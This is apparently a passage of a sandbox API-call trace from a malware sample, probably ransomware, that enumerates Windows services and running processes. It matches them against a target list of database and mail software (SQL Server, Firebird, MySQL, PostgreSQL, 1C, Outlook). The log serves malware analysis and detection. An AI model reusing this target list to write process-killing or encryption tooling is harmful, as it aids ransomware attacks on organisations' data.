	[0277.524] EnumServicesStatusExW (in: hSCManager=0x3b06e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0277.524] GetLastError () returned 0xea
	[0277.524] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x113e) returned 0x4206ba8
	[0277.524] EnumServicesStatusExW (in: hSCManager=0x3b06e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4206ba8, cbBufSize=0x113e, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4206ba8, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0277.525] CloseServiceHandle (hSCObject=0x3b06e88) returned 1
	[0277.525] lstrlenW (lpString="Appinfo") returned 7
	[0277.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0277.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0277.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0277.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0277.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0277.525] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0277.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0277.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0277.525] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0277.525] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0277.526] lstrlenW (lpString="AudioSrv") returned 8
	[0277.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0277.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0277.526] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0277.526] lstrlenW (lpString="BFE") returned 3
	[0277.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0277.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0277.526] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0277.526] lstrlenW (lpString="CryptSvc") returned 8
	[0277.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0277.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0277.526] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0277.526] lstrlenW (lpString="CscService") returned 10
	[0277.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0277.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0277.526] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0277.526] lstrlenW (lpString="DcomLaunch") returned 10
	[0277.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0277.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0277.526] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0277.527] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0277.527] lstrlenW (lpString="Dhcp") returned 4
	[0277.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0277.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0277.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0277.527] lstrlenW (lpString="Dnscache") returned 8
	[0277.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0277.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0277.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0277.527] lstrlenW (lpString="DPS") returned 3
	[0277.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0277.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0277.527] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0277.527] lstrlenW (lpString="eventlog") returned 8
	[0277.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0277.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0277.527] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0277.527] lstrlenW (lpString="EventSystem") returned 11
	[0277.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0277.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0277.527] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0277.528] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0277.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0277.528] lstrlenW (lpString="gpsvc") returned 5
	[0277.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0277.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0277.528] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0277.528] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0277.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0277.528] lstrlenW (lpString="iphlpsvc") returned 8
	[0277.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0277.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0277.528] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0277.528] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0277.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0277.528] lstrlenW (lpString="LanmanServer") returned 12
	[0277.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0277.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0277.528] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0277.528] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0277.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0277.528] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0277.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0277.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0277.528] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0277.528] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0277.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0277.528] lstrlenW (lpString="lmhosts") returned 7
	[0277.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0277.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0277.528] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0277.529] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0277.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0277.529] lstrlenW (lpString="MMCSS") returned 5
	[0277.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0277.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0277.529] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0277.529] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0277.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0277.529] lstrlenW (lpString="MpsSvc") returned 6
	[0277.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0277.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0277.529] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0277.529] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0277.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0277.529] lstrlenW (lpString="Netman") returned 6
	[0277.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0277.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0277.529] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0277.529] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0277.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0277.529] lstrlenW (lpString="netprofm") returned 8
	[0277.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0277.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0277.529] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0277.529] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0277.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0277.529] lstrlenW (lpString="NlaSvc") returned 6
	[0277.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0277.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0277.529] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0277.529] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0277.530] lstrlenW (lpString="nsi") returned 3
	[0277.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0277.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0277.530] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0277.530] lstrlenW (lpString="PcaSvc") returned 6
	[0277.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0277.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0277.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0277.530] lstrlenW (lpString="PlugPlay") returned 8
	[0277.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0277.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0277.530] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0277.530] lstrlenW (lpString="Power") returned 5
	[0277.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0277.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0277.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0277.530] lstrlenW (lpString="ProfSvc") returned 7
	[0277.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0277.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0277.530] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0277.530] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0277.531] lstrlenW (lpString="RpcEptMapper") returned 12
	[0277.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0277.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0277.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0277.531] lstrlenW (lpString="RpcSs") returned 5
	[0277.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0277.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0277.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0277.531] lstrlenW (lpString="SamSs") returned 5
	[0277.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0277.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0277.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0277.531] lstrlenW (lpString="Schedule") returned 8
	[0277.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0277.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0277.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0277.531] lstrlenW (lpString="SENS") returned 4
	[0277.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0277.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0277.531] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0277.531] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0277.532] lstrlenW (lpString="ShellHWDetection") returned 16
	[0277.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0277.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0277.532] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0277.532] lstrlenW (lpString="Spooler") returned 7
	[0277.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0277.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0277.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0277.532] lstrlenW (lpString="SysMain") returned 7
	[0277.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0277.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0277.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0277.532] lstrlenW (lpString="Themes") returned 6
	[0277.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0277.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0277.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0277.532] lstrlenW (lpString="TrkWks") returned 6
	[0277.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0277.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0277.532] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0277.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0277.533] lstrlenW (lpString="UxSms") returned 5
	[0277.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0277.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0277.533] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0277.533] lstrlenW (lpString="WdiServiceHost") returned 14
	[0277.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0277.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0277.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0277.533] lstrlenW (lpString="WdiSystemHost") returned 13
	[0277.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0277.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0277.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0277.533] lstrlenW (lpString="Winmgmt") returned 7
	[0277.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0277.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0277.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0277.533] lstrlenW (lpString="WPDBusEnum") returned 10
	[0277.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0277.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0277.533] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0277.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0277.534] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4206ba8 | out: hHeap=0x4a0000) returned 1
	[0277.534] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384
	[0277.535] Process32FirstW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0277.535] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0277.535] lstrlenW (lpString="System") returned 6
	[0277.535] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0277.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0277.535] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0277.535] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0277.535] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0277.535] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0277.536] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0277.536] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0277.536] lstrlenW (lpString="smss.exe") returned 8
	[0277.536] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0277.536] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0277.536] lstrlenW (lpString="csrss.exe") returned 9
	[0277.536] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0277.536] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0277.536] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0277.536] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0277.536] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0277.537] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0277.537] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0277.537] lstrlenW (lpString="wininit.exe") returned 11
	[0277.537] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0277.537] Process32NextW (in: hSnapshot=0x384, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0277.537] lstrlenW (lpString="csrss.exe") returned 9
	[0277.537] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0277.537] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0277.537] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0277.537] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0277.537] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0277.538] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
